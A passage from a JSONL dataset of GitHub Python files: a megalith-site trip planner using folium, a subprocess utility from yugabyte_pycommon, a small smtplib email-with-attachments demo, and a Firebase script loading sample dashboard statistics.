)\n\nfolium.map.Layer('Stamen Terrain').add_to(m)\n\n\nsitebase = \"http://www.megalithic.co.uk/\"\nsites = \"le_ajaxmapdata.php?bbox=-2.40875244140625,53.03543290697411,-0.65643310546875,53.78361508880527\"\n\nsite =\"megaliths.json\" #\"https://www.megalithic.co.uk/le_ajaxmapdata.php?bbox=-2.467803955078125,53.15088840824353,-0.597381591796875,53.669866612978275\"\ntypes = {}\n\ndone = [18768, # Peace Well Dore\n 14705, # Wardlow Hay Cop\n 14703, # Longstone Moor - Round Barrow(s)\n 15172, # Lady Well Wall - Holy Well or Sacred Spring\n 18537, # St Peter's Well (Bakewell)\n 18232, # Haddon Fields Bowl Barrow 2\n 126, # Nine Stones Close\n 16724, # St Peter (Hope)\n 34468, # Bar Dyke\n 18517, # Ecclesfield - Ancient Cross - Inaccesible due to COVID-19\n 28647, # Bath Spring - Holy Well - Inaccesible due to COVID-19\n 10278, # Ecclesall Woods - Rock Art in England in Yorkshire (South)\n 307, # Stoke Flat - Stone Circle in England in Derbyshire\n 18441, # Eyam Boundary Stone - Marker Stone in England in Derbyshire\n 7747, # St Lawrence (Eyam) - Ancient Cross in England in Derbyshire\n\n ]\n\narticle = \"article.php?op=savenewvisit&sid=\"\n\nfile=open(site)\ndata = json.load(file)\n\norglen = len(data[\"features\"])\nicons = \"images/mapic/\"#tr22.gif\n\n\ndef toGraphHopperService(item):\n return {\n \"name\": item[\"properties\"][\"title\"],\n \"address\":{\n \"lon\":item[\"geometry\"][\"coordinates\"][0],\n \"lat\":item[\"geometry\"][\"coordinates\"][1]\n },\n \"duration\":30*60#*1000\n }\n\ndef getVehicle(id):\n return {\n \"vehicle_id\": \"camper \"+str(id),\n \"type_id\":\"camper\",\n \"start_address\": {\n \"location_id\": \"nicky\",\n \"lon\": center[1],\n \"lat\": center[0]\n },\n \"end_address\": {\n \"location_id\": \"nicky\",\n \"lon\": center[1],\n \"lat\": center[0]\n },\n \"earliest_start\":13*60*60,\n #\"latest_end\":17*60*60\n\n }\n\n\n\n\ndef near(item):\n print(item)\n dist =geodesic((center[1],center[0]), item[\"geometry\"][\"coordinates\"]).miles\n #print(dist)\n if int(item[\"properties\"][\"acc\"]) < Access:\n return False\n if item[\"properties\"][\"sitetype\"] in [\"Museum\",\"Modern Stone Circle etc\",\"Natural Stone \\/ Erratic \\/ Other Natural Feature\",\"Rock Outcrop\"]:\n return False\n if int(item[\"properties\"][\"sid\"]) in done:\n return False\n return dist<=radius\n\ndef process(item):\n item[\"properties\"][\"url\"] = ''+item[\"properties\"][\"title\"]+''\n dist =geodesic((center[1],center[0]), item[\"geometry\"][\"coordinates\"]).miles\n item[\"properties\"][\"dist\"] = dist\n item['lat'] = item[\"geometry\"][\"coordinates\"][1]\n item['lng'] = item[\"geometry\"][\"coordinates\"][0]\n\n return item\n\ndata[\"features\"] = [ process(item) for item in data[\"features\"] if near(item) ]\n\nsorted_sites = sorted(data[\"features\"],key=lambda item: item[\"properties\"][\"dist\"])\n\n\n\ntogroup = sorted_sites\n\ndef processlocal(item):\n localdist =geodesic(currcoords, item[\"geometry\"][\"coordinates\"]).miles\n item[\"properties\"][\"localdist\"] = localdist\n\n\n return item\n\n\n\ngroups = []\ngrouped = []\ngroupnum = 0\noutext = \"\"\n\nwhile len(togroup):\n '''\n pop the nearest site\n add the closest to that site until max distance is reached\n '''\n togroup.sort(key=lambda item: item[\"properties\"][\"dist\"])\n if furthestfirst:\n togroup.reverse()\n groupnum += 1\n group = []\n group.append(togroup.pop(0))\n grouped.append(group[-1])\n currdist = grouped[-1][\"properties\"][\"dist\"]\n grouped[-1][\"properties\"]['group'] = groupnum\n currcoords = group[-1][\"geometry\"][\"coordinates\"]\n\n\n\n togroup = [ processlocal(item) for item in togroup ]\n outext += str(groupnum) + \":\\n\"\n outext += \" \"+grouped[-1][\"properties\"][\"title\"]+ \" : \" + (\",\".join([str(grouped[-1][\"geometry\"][\"coordinates\"][1]), str(grouped[-1][\"geometry\"][\"coordinates\"][0])])) +\" : \"+sitebase + article + grouped[-1][\"properties\"][\"sid\"]+\"\\n\"\n while len(togroup):\n if len(group) >= maxsites:\n break\n togroup = [ processlocal(item) for item in togroup ]\n togroup.sort(key=lambda item: item[\"properties\"][\"localdist\"])\n if currdist + togroup[0][\"properties\"][\"localdist\"] +togroup[0][\"properties\"][\"dist\"] > maxcrowflies:\n break\n currdist += togroup[0][\"properties\"][\"localdist\"]\n group.append(togroup.pop(0))\n grouped.append(group[-1])\n grouped[-1][\"properties\"]['group'] = groupnum\n grouped[-1][\"properties\"]['tripdist'] = currdist\n outext += \" \"+grouped[-1][\"properties\"][\"title\"]+ \" : \" + (\",\".join([str(grouped[-1][\"geometry\"][\"coordinates\"][1]), str(grouped[-1][\"geometry\"][\"coordinates\"][0])])) +\" : \"+sitebase + article + grouped[-1][\"properties\"][\"sid\"]+\"\\n\"\n if closestsitetosurrentnext:\n currcoords = grouped[-1][\"geometry\"][\"coordinates\"]\n\n\n\n currdist += grouped[-1][\"properties\"][\"dist\"]\n grouppoints = [(round(x[\"geometry\"][\"coordinates\"][1],6), round(x[\"geometry\"][\"coordinates\"][0],6)) for x in group]\n #print(grouppoints)\n\n gbase = \"https://www.google.com/maps/dir/?\"\n googleparams=urlencode({\n \"api\":1,\n \"origin\":\",\".join([str(num) for num in center]),\n #\"destination\":\",\".join([str(num) for num in grouppoints[0]]),\n \"destination\":\",\".join([str(num) for num in center]),\n #\"waypoints\":\"|\".join([\",\".join([str(num) for num in coord]) for num in coord]) for coord in grouppoints])\n\n \"waypoints\":\"|\".join([\",\".join([str(x[\"geometry\"][\"coordinates\"][1]), str(x[\"geometry\"][\"coordinates\"][0])]) for x in group]),\n \"waypoint_place_ids\":\"|\".join([x[\"properties\"][\"title\"] for x in group])\n })\n #print(googleparams)\n grouppoints.insert(0,center)\n grouppoints.append(center)\n\n ghbase = \"https://graphhopper.com/maps/?locale=en-GB&vehicle=small_truck&weighting=fastest&turn_costs=true&use_miles=false&layer=OpenStreetMap&\"\n #?point=Fairbarn%20Drive%2C%20S6%205QL%2C%20Sheffield%2C%20United%20Kingdom&point=53.343775%2C-1.509204&point=53.343798%2C-1.511809&point=Sycamore%20Court%2C%20S11%209BN%2C%20Sheffield%2C%20United%20Kingdom&locale=en-GB&vehicle=small_truck&weighting=fastest&turn_costs=true&use_miles=false&layer=OpenStreetMap\n graphhopperparams=\"&\".join([\"point=\"+(\",\".join([str(c) for c in point])) for point in grouppoints])\n\n color = colors[(group[-1][\"properties\"]['group']-1)%len(colors)]\n text = \"Trip: \" +str(group[-1][\"properties\"]['group'])\n text += \" Dist :\"+str(round(currdist,1))+ \" Miles\"\n text += ' Google'\n text += ' Graph Hopper'\n\n\n\n folium.vector_layers.PolyLine(\n grouppoints,\n #tooltip=text,\n popup=text,\n color=color\n ).add_to(m)\n\n request = {\n \"vehicles\" : [getVehicle(1)],# for id in range(1,1)],\n \"vehicle_types\": [{\n \"type_id\":\"camper\",\n \"profile\": \"car\"\n }],\n \"services\": [ toGraphHopperService(item) for item in group],\n }\n out_file = open(\"out\"+str(group[-1][\"properties\"]['group'])+\".json\", \"w\")\n json.dump(request, out_file, indent=2)\n\n\n '''datagroup = data\n datagroup[\"features\"] = group\n groups.append(datagroup)\n '''\ndata[\"features\"] = grouped\ncurrlen = len(data[\"features\"])\n\nprint(orglen, currlen)\n\ndef sites_function(feature):\n return {'click':None}\n\n\ndef sites_styles(item):\n\n color = colors[(item['properties']['group']-1)%len(colors)]\n #print(color)\n return {\n 'fillColor': color\n }\n '''icon_url = sitebase+icons+item[\"properties\"][\"icon\"]+\".gif\"\n site_icon = folium.features.CustomIcon(\n icon_url,\n icon_size=(14, 14)\n )\n #item[\"icon\"] = site_icon\n\n #return item\n return {\n \"icon\": site_icon\n }'''\n\nstyle_function2 = lambda x: {'fillColor': '#ff0000'}\n\nsiteslayer = folium.GeoJson(\n data,#site,#base+sites,\n name='Sites',\n #highlight_function = sites_function\n style_function = style_function2,\n\n\n popup= folium.features.GeoJsonPopup(\n fields=['url', 'dist','group','sitetype', 'cond', 'amb', 'acc'],\n aliases=['Site', 'Miles','Trip','Type', 'Condition', 'Ambience', 'Access'],\n labels=True,\n show=True,\n click=None\n ),\n tooltip=folium.features.GeoJsonTooltip(\n fields=['url', 'dist','group','sitetype', 'cond', 'amb', 'acc'],\n aliases=['Site', 'Miles','Trip','Type', 'Condition', 'Ambience', 'Access'],\n labels=True,\n show=True,\n click=None\n ),\n).add_to(m)\n'''\n\n).add_to(siteslayer)\n\n'''\n\n#folium.features.LatLngPopup().add_to(m)\n\n\nm.fit_bounds(m.get_bounds(),padding=(10,10))\n\nfolium.map.LayerControl().add_to(m)\n\n\n\n\nm.save('index.html')\n'''\nmap_file = open(\"index2.html\", \"w\")\nmap_file.write(m.render())\nmap_file.close()\n'''\nprint(outext)\noutext_file = open(\"out.txt\", \"w\")\noutext_file.write(outext)\noutext_file.close()\n\n\n\n\n\n'''\ncluster = GeoCluster()\n\n#west,south,east,north\nnorth = 53.78361508880527\nsouth = 53.03543290697411\neast = -0.65643310546875\nwest = -2.40875244140625\n\ncluster.set_bounds(north=north, south=south, east=east, west=west)\ncluster.set_grid(4, 10)\ncluster.populate(data)\n\ndata_clusturized_as_a_dictionary = cluster.to_json()\n\nprint(\"data_clusturized_as_a_dictionary\", data_clusturized_as_a_dictionary)\n'''\n", "repo_name": "stretchyboy/MonolithVisits", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 10334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "folium.Map", "line_number": 35, "usage_type": "call"}, {"api_name": "folium.map.Layer", "line_number": 43, "usage_type": "call"}, {"api_name": "folium.map", "line_number": 43, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 73, "usage_type": "call"}, {"api_name": "geopy.distance.geodesic", "line_number": 113, "usage_type": "call"}, {"api_name": "geopy.distance.geodesic", "line_number": 125, "usage_type": "call"}, {"api_name": "geopy.distance.geodesic", "line_number": 141, "usage_type": "call"}, {"api_name": "urllib.parse.urlencode", "line_number": 198, "usage_type": "call"}, {"api_name": "folium.vector_layers.PolyLine", "line_number": 224, "usage_type": "call"}, {"api_name": "folium.vector_layers", "line_number": 224, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 240, "usage_type": "call"}, {"api_name": "folium.GeoJson", "line_number": 277, "usage_type": "call"}, {"api_name": "folium.features.GeoJsonPopup", "line_number": 284, "usage_type": "call"}, {"api_name": "folium.features", "line_number": 284, "usage_type": "attribute"}, {"api_name": "folium.features.GeoJsonTooltip", "line_number": 291, "usage_type": "call"}, {"api_name": "folium.features", "line_number": 291, "usage_type": "attribute"}, {"api_name": "folium.map.LayerControl", "line_number": 310, "usage_type": "call"}, {"api_name": "folium.map", "line_number": 310, "usage_type": "attribute"}]} +{"seq_id": "8371933225", "text": "import os\nimport sys\nimport logging\nimport subprocess\nimport tempfile\nimport threading\n\nfrom yugabyte_pycommon.text_manipulation import cmd_line_args_to_str, decode_utf8, trim_long_text, \\\n quote_for_bash\nfrom yugabyte_pycommon.logging_util import is_verbose_mode\n\n\n# Default number of lines to shorten long stdout/stderr to.\nDEFAULT_MAX_LINES_TO_SHOW = 1000\n\nDEFAULT_UNIX_SHELL = 'bash'\n\n\nclass ProgramResult:\n \"\"\"\n This represents the result of executing an external program.\n \"\"\"\n def __init__(self, cmd_line, cmd_line_str, returncode, stdout, stdout_path, stderr,\n stderr_path, program_path, invocation_details_str, max_lines_to_show,\n output_captured):\n self.cmd_line = cmd_line\n self.cmd_line_str = cmd_line_str\n self.returncode = returncode\n self.stdout = stdout\n self.stderr = stderr\n self.stdout_path = stdout_path\n self.stderr_path = stderr_path\n self.program_path = program_path\n self.invocation_details_str = invocation_details_str\n self.max_lines_to_show = max_lines_to_show\n self.output_captured = output_captured\n\n self._set_error_msg()\n\n def success(self):\n \"\"\"\n :return: whether the external program exited with a success\n \"\"\"\n return self.returncode == 0\n\n def failure(self):\n \"\"\"\n :return: whether the external program exited with a failure\n \"\"\"\n return self.returncode != 0\n\n def get_stdout_and_stderr_together(self):\n \"\"\"\n :return: a string with user-friendly versions of stdout and stderr of the external program,\n concatenated together.\n \"\"\"\n stdout_and_stderr = (\n self.get_user_friendly_stdout_msg() + self.get_user_friendly_stderr_msg())\n if not stdout_and_stderr:\n stdout_and_stderr = \"No stdout or stderr from command: \" + self.invocation_details_str\n return stdout_and_stderr\n\n def print_output_to_stdout(self):\n \"\"\"\n Print both stdout and stderr of the external program to the stdout.\n \"\"\"\n sys.stdout.write(self.get_stdout_and_stderr_together())\n sys.stdout.flush()\n\n def _set_error_msg(self):\n if self.returncode == 0:\n self.error_msg = None\n return\n\n self.error_msg = \"Non-zero exit code {} from {}.\".format(\n self.returncode,\n self.invocation_details_str,\n self.returncode, cmd_line_args_to_str)\n\n self.error_msg += self.get_user_friendly_stdout_msg()\n self.error_msg += self.get_user_friendly_stderr_msg()\n self.error_msg = self.error_msg.rstrip()\n\n def get_stdout(self):\n if self.stdout is not None:\n return self.stdout\n if self.stdout_path is not None:\n from yugabyte_pycommon import read_file\n return read_file(self.stdout_path)\n\n def get_stderr(self):\n if self.stderr is not None:\n return self.stderr\n if self.stderr_path is not None:\n from yugabyte_pycommon import read_file\n return read_file(self.stderr_path)\n\n def _wrap_for_error_msg(self, stream_type):\n assert stream_type in ['output', 'error']\n if stream_type == 'output':\n value = self.get_stdout()\n else:\n value = self.get_stderr()\n if value is None or not value.strip():\n return \"\"\n value = value.rstrip()\n return \"\\nStandard {} from {}:\\n{}\\n(end of standard {})\\n\".format(\n stream_type, self.invocation_details_str,\n trim_long_text(value, self.max_lines_to_show),\n stream_type)\n\n def get_user_friendly_stdout_msg(self):\n \"\"\"\n :return: a user-friendly version of the external program's standard output\n \"\"\"\n return self._wrap_for_error_msg(\"output\")\n\n def get_user_friendly_stderr_msg(self):\n \"\"\"\n :return: a user-friendly version of the external program's standard error\n \"\"\"\n return self._wrap_for_error_msg(\"error\")\n\n def raise_error_if_failed(self):\n \"\"\"\n This is useful for delayed handling of external program errors. Raises an error if the\n external program failed. Otherwise does nothing.\n \"\"\"\n if self.failure():\n raise ExternalProgramError(self.error_msg, self)\n\n def print_output_and_raise_error_if_failed(self):\n if self.failure():\n # TODO: maybe print stdout to stdout, stderr to stderr?\n # TODO: avoid loading large output into memory.\n self.print_output_to_stdout()\n self.raise_error_if_failed()\n\n\nclass ExternalProgramError(Exception):\n def __init__(self, message, result):\n self.message = message\n self.result = result\n\n\nclass WorkDirContext:\n \"\"\"\n Allows setting a working directory context for running external programs. The directory will\n be changed to the given directory on entering the block, and will be restored to the old\n directory on exit.\n\n .. code-block:: python\n\n with WorkDirContext('/tmp'):\n run_program('ls')\n \"\"\"\n def __init__(self, work_dir):\n self.thread_local = threading.local()\n self.work_dir = work_dir\n\n def __enter__(self):\n self.thread_local.old_dir = os.getcwd()\n os.chdir(self.work_dir)\n\n def __exit__(self, exception_type, exception_value, traceback):\n os.chdir(self.thread_local.old_dir)\n\n\ndef run_program(args, error_ok=False, report_errors=None, capture_output=True,\n max_lines_to_show=DEFAULT_MAX_LINES_TO_SHOW, cwd=None, shell=None,\n stdout_path=None, stderr_path=None, stdout_stderr_prefix=None, **kwargs):\n \"\"\"\n Run the given program identified by its argument list, and return a :py:class:`ProgramResult`\n object.\n\n :param args: This could be a single string, or a tuple/list of elements where each element is\n either a string or an integer. If a single string is given as ``args``, and the ``shell``\n parameter is not specified, it is automatically set to true.\n :param report_errors: whether errors during execution (as identified by exit code) should be\n reported in the log.\n :param capture_output: whether standard output and standard error of the program need to be\n captured in variables inside of the resulting :py:class:`ProgramResult` object.\n :param error_ok: if this is true, we won't raise an exception in case the external program\n fails.\n :param stdout_path: instead of trying to capture all standard output in memory, save it\n to this file. Both `stdout_file_path` and `stderr_file_path` have to be specified or\n unspecified at the same time. Also `shell` has to be true in this mode as we are using\n shell redirections to implement this.\n :param stderr_path: similar to ``stdout_file_path`` but for standard error.\n :param stdout_stderr_prefix: allows setting both `stdout_path` and `stderr_path` quickly.\n Those variables are set to the value of this parameter with `.out` and `.err` appended.\n \"\"\"\n if isinstance(args, str) and shell is None:\n # If we are given a single string, assume it is a command line to be executed in a shell.\n shell = True\n\n if isinstance(args, str):\n # This is a special case, but very common.\n cmd_line_str = args\n args = [args]\n else:\n if isinstance(args, tuple):\n args = list(args)\n\n if isinstance(args, str):\n args = [args]\n\n def normalize_arg(arg):\n if isinstance(arg, int):\n return str(arg)\n return arg\n\n args = [normalize_arg(arg) for arg in args]\n\n cmd_line_str = cmd_line_args_to_str(args)\n\n if (stdout_path is None) != (stderr_path is None):\n raise ValueError(\n \"stdout_file_path and stderr_file_path have to specified or unspecified at the same \"\n \"time. Got: stdout_file_path={}, stderr_file_path={}\", stdout_path,\n stderr_path)\n\n output_to_files = stdout_path is not None\n if stdout_stderr_prefix is not None:\n if output_to_files:\n raise ValueError(\n \"stdout_stderr_prefix cannot be specified at the same time with stdout_path \"\n \"or stderr_path\")\n stdout_path = stdout_stderr_prefix + '.out'\n stderr_path = stdout_stderr_prefix + '.err'\n output_to_files = True\n\n if output_to_files and not shell:\n raise ValueError(\"If {stdout,stderr}_to_file are specified, shell must be True\")\n\n invocation_details_str = \"external program {{ %s }} running in '%s'\" % (\n cmd_line_str, cwd or os.getcwd())\n\n if output_to_files:\n cmd_line_str = '( %s ) >%s 2>%s' % (\n cmd_line_str,\n quote_for_bash(stdout_path),\n quote_for_bash(stderr_path)\n )\n invocation_details_str += \", saving stdout to {{ %s }}, stderr to {{ %s }}\" % (\n # For the ease of copying and pasting, convert to absolute paths.\n os.path.abspath(stdout_path),\n os.path.abspath(stderr_path)\n )\n\n if is_verbose_mode():\n logging.info(\"Running %s\", invocation_details_str)\n\n tmp_script_path = None\n try:\n output_redirection = subprocess.PIPE if (capture_output and not output_to_files) else None\n args_to_run = args\n if shell:\n # Save the script to a temporary file to avoid anomalies with backslash un-escaping\n # described at http://bit.ly/2SFoMpN (on Ubuntu 18.04).\n with tempfile.NamedTemporaryFile(suffix='.sh', delete=False) as tmp_script_file:\n tmp_script_file.write(cmd_line_str.encode('utf-8'))\n tmp_script_path = tmp_script_file.name\n args_to_run = os.getenv('SHELL', DEFAULT_UNIX_SHELL) + ' ' + quote_for_bash(\n tmp_script_path)\n\n program_subprocess = subprocess.Popen(\n args_to_run,\n stdout=output_redirection,\n stderr=output_redirection,\n shell=shell,\n cwd=cwd,\n **kwargs)\n\n program_stdout, program_stderr = program_subprocess.communicate()\n if output_to_files:\n def report_unexpected_output(stream_name, output):\n if output is not None and output.strip():\n logging.warn(\n \"Unexpected standard %s from %s (should have been redirected):\\n%s\",\n stream_name, invocation_details_str, output)\n\n report_unexpected_output('output', program_stdout)\n report_unexpected_output('error', program_stderr)\n program_stdout = None\n program_stderr = None\n\n except OSError:\n logging.error(\"Failed to run %s\", invocation_details_str)\n raise\n\n finally:\n if tmp_script_path and os.path.exists(tmp_script_path):\n os.remove(tmp_script_path)\n\n def cleanup_output(out_str):\n if out_str is None:\n return None\n return decode_utf8(out_str)\n\n clean_stdout = cleanup_output(program_stdout)\n clean_stderr = cleanup_output(program_stderr)\n\n result = ProgramResult(\n cmd_line=args,\n cmd_line_str=cmd_line_str,\n program_path=os.path.realpath(args[0]),\n returncode=program_subprocess.returncode,\n stdout=clean_stdout,\n stdout_path=stdout_path,\n stderr=clean_stderr,\n stderr_path=stderr_path,\n invocation_details_str=invocation_details_str,\n max_lines_to_show=max_lines_to_show,\n output_captured=capture_output)\n\n if program_subprocess.returncode != 0:\n if report_errors is None:\n report_errors = not error_ok\n if report_errors:\n logging.error(result.error_msg)\n if not error_ok:\n result.raise_error_if_failed()\n\n return result\n\n\ndef check_run_program(*args, **kwargs):\n \"\"\"\n Similar to subprocess.check_call but using our run_program facility.\n \"\"\"\n kwargs['capture_output'] = False\n kwargs['report_errors'] = True\n run_program(*args, **kwargs)\n return 0\n\n\ndef program_fails_no_log(args, **kwargs):\n \"\"\"\n Run the given program, and returns if it failed. Does not log anything in case of success\n or failure.\n\n :param args: command line arguments or a single string to run as a shell command\n :param kwargs: additional keyword arguments for subprocess.Popen\n :return: ``True`` if the program succeeded\n \"\"\"\n return run_program(args, error_ok=True, report_errors=False, **kwargs).failure()\n\n\ndef program_succeeds_no_log(args, **kwargs):\n \"\"\"\n Run the given program, and returns True if it succeeded. Does not log anything in case of\n success or failure.\n\n :param args: command line arguments or a single string to run as a shell command\n :param kwargs: additional keyword arguments for subprocess.Popen\n :return: ``True`` if the program failed\n \"\"\"\n return run_program(args, error_ok=True, report_errors=False, **kwargs).success()\n\n\ndef program_succeeds_empty_output(args, **kwargs):\n \"\"\"\n Runs a program that is not expected to produce any output.\n\n :param args: command line arguments or a single string to run as a shell command\n :param kwargs: additional keyword arguments for subprocess.Popen\n :raises ExternalProgramError: if the program succeeds but produces extra output\n :return: ``True`` if the program succeeds and does not produce any output\n \"\"\"\n result = run_program(args, error_ok=True, report_errors=False, **kwargs)\n if result.failure():\n return False\n\n if result.stdout.strip():\n error_msg = \"Unexpected output in case of success. \" + result.get_user_friendly_stdout_msg()\n logging.error(error_msg)\n raise ExternalProgramError(error_msg, result)\n\n return True\n", "repo_name": "yugabyte/yugabyte_pycommon", "sub_path": "yugabyte_pycommon/external_calls.py", "file_name": "external_calls.py", "file_ext": "py", "file_size_in_byte": 14002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.stdout.write", "line_number": 67, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 67, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 68, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 68, "usage_type": "attribute"}, {"api_name": "yugabyte_pycommon.text_manipulation.cmd_line_args_to_str", "line_number": 78, "usage_type": "argument"}, {"api_name": "yugabyte_pycommon.read_file", "line_number": 89, "usage_type": "call"}, {"api_name": "yugabyte_pycommon.read_file", "line_number": 96, "usage_type": "call"}, {"api_name": "yugabyte_pycommon.text_manipulation.trim_long_text", "line_number": 109, "usage_type": "call"}, {"api_name": "threading.local", "line_number": 158, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 162, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 163, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 166, "usage_type": "call"}, {"api_name": "yugabyte_pycommon.text_manipulation.cmd_line_args_to_str", "line_number": 215, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 237, "usage_type": "call"}, {"api_name": "yugabyte_pycommon.text_manipulation.quote_for_bash", "line_number": 242, "usage_type": "call"}, {"api_name": "yugabyte_pycommon.text_manipulation.quote_for_bash", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path", "line_number": 247, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 248, "usage_type": "call"}, {"api_name": "os.path", "line_number": 248, "usage_type": "attribute"}, {"api_name": "yugabyte_pycommon.logging_util.is_verbose_mode", "line_number": 251, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 252, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 256, "usage_type": "attribute"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 261, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 264, "usage_type": "call"}, {"api_name": "yugabyte_pycommon.text_manipulation.quote_for_bash", "line_number": 264, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 267, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 279, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 289, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 293, "usage_type": "call"}, {"api_name": "os.path", "line_number": 293, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 294, "usage_type": "call"}, {"api_name": "yugabyte_pycommon.text_manipulation.decode_utf8", "line_number": 299, "usage_type": "call"}, {"api_name": "{'read_file': 'yugabyte_pycommon.read_file'}", "line_number": 304, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 307, "usage_type": "call"}, {"api_name": "os.path", "line_number": 307, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 321, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 377, "usage_type": "call"}]} +{"seq_id": "4204913303", "text": "import smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.application import MIMEApplication\nfrom email.mime.text import MIMEText\nfrom email.header import Header\n\n\ndef send_mail(mail_subject, mail_content, to_add='mmmt123321@126.com', from_name='telankesi_', from_add='mmmt123321@126.com', from_pwd='*****'):\n # 连接邮箱服务器\n con = smtplib.SMTP_SSL('smtp.126.com', 465)\n # 登录邮箱\n con.login(from_add, from_pwd)\n # 创建邮件对象\n msg = MIMEMultipart()\n # 设置邮件主题\n subject = Header(mail_subject, 'utf-8').encode()\n msg['Subject'] = subject\n # 设置邮件发送者\n msg['From'] = '{0} <{1}>'.format(from_name, from_add)\n # 设置邮件接受者\n msg['To'] = to_add\n # 添加文字内容\n text = MIMEText(mail_content, 'plain', 'utf-8')\n msg.attach(text)\n # 添加附件\n with open('./电子保单20200925.zip', 'rb') as f:\n file_1 = f.read()\n file_1 = MIMEApplication(file_1)\n file_1.add_header('Content-Disposition', 'attachment', filename='电子保单20200925.zip')\n msg.attach(file_1)\n\n with open('./截至20200925承保信息.xlsx', 'rb') as f:\n file_2 = f.read()\n file_2 = MIMEApplication(file_2)\n file_2.add_header('Content-Disposition', 'attachment', filename='截至20200925承保信息.xlsx')\n msg.attach(file_2)\n\n # 发送邮件\n con.sendmail(from_add, to_add, msg.as_string())\n con.quit()\n\n\nif __name__ == \"__main__\":\n \n mail_subject = 'test' # 邮件主题\n mail_content = 'mail content' # 邮件内容\n send_mail(mail_subject, mail_content)\n", "repo_name": "mrmmmt/mail_test", "sub_path": "demo.py", "file_name": "demo.py", "file_ext": "py", "file_size_in_byte": 1640, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "smtplib.SMTP_SSL", "line_number": 10, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 14, "usage_type": "call"}, {"api_name": "email.header.Header", "line_number": 16, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 23, "usage_type": "call"}, {"api_name": "email.mime.application.MIMEApplication", "line_number": 28, "usage_type": "call"}, {"api_name": "email.mime.application.MIMEApplication", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "41210067986", "text": "from firebase import firebase\n\nf = firebase.FirebaseApplication('https://dashbordntnu.firebaseio.com/ew/', None)\n\ntest = {\n \"browsers\" : {\n \"Chrome\" : {\n \"name\" : \"Chrome\",\n \"numbers\" : \"1350\",\n \"percent\" : \"65.5\",\n \"timestamp\" : \"1467874642\"\n },\n \"Firefox\" : {\n \"name\" : \"Firefox\",\n \"numbers\" : \"563\",\n \"percent\" : \"10\",\n \"timestamp\" : \"1467874642\"\n },\n \"IE\" : {\n \"name\" : \"Internet Explorer\",\n \"numbers\" : \"500\",\n \"percent\" : \"22\",\n \"timestamp\" : \"1467874642\"\n },\n \"Opera\" : {\n \"name\" : \"Opera\",\n \"numbers\" : \"121\",\n \"percent\" : \"14.34\",\n \"timestamp\" : \"1467874642\"\n },\n \"Safari\" : {\n \"name\" : \"Safari\",\n \"numbers\" : \"562\",\n \"percent\" : \"33\",\n \"timestamp\" : \"1467874642\"\n }\n },\n \"heatmap\" : {\n \"Akershus\" : {\n \"id\" : \"NO-02\",\n \"value\" : 24\n },\n \"AustAgder\" : {\n \"id\" : \"NO-09\",\n \"value\" : 25\n },\n \"Buskerud\" : {\n \"id\" : \"NO-06\",\n \"value\" : 7\n },\n \"Finnmark\" : {\n \"id\" : \"NO-20\",\n \"value\" : 12\n },\n \"Hedmark\" : {\n \"id\" : \"NO-04\",\n \"value\" : 13\n },\n \"Hordaland\" : {\n \"id\" : \"NO-12\",\n \"value\" : 27\n },\n \"MoreOgRomsdal\" : {\n \"id\" : \"NO-15\",\n \"value\" : 14\n },\n \"NordTrondelag\" : {\n \"id\" : \"NO-17\",\n \"value\" : 37\n },\n \"Nordland\" : {\n \"id\" : \"NO-18\",\n \"value\" : 31\n },\n \"Oppland\" : {\n \"id\" : \"NO-05\",\n \"value\" : 9\n },\n \"Oslo\" : {\n \"id\" : \"NO-03\",\n \"value\" : 23\n },\n \"Ostfold\" : {\n \"id\" : \"NO-01\",\n \"value\" : 31\n },\n \"Rogaland\" : {\n \"id\" : \"NO-11\",\n \"value\" : 41\n },\n \"SognOgFjordane\" : {\n \"id\" : \"NO-14\",\n \"value\" : 31\n },\n \"SorTrondelag\" : {\n \"id\" : \"NO-16\",\n \"value\" : 57\n },\n \"Telemark\" : {\n \"id\" : \"NO-08\",\n \"value\" : 6\n },\n \"Troms\" : {\n \"id\" : \"NO-19\",\n \"value\" : 27\n },\n \"VestAgder\" : {\n \"id\" : \"NO-10\",\n \"value\" : 33\n },\n \"Vestfold\" : {\n \"id\" : \"NO-07\",\n \"value\" : 13\n }\n },\n \"platform\" : {\n \"computer\" : {\n \"color\" : \"#03A9FC\",\n \"device\" : \"PC\",\n \"visits\" : \"444249\"\n },\n \"smartphone\" : {\n \"color\" : \"#87CE37\",\n \"device\" : \"Phone\",\n \"visits\" : \"222152\"\n },\n \"tablet\" : {\n \"color\" : \"#F05576\",\n \"device\" : \"Tablet\",\n \"visits\" : \"43535\"\n }\n },\n 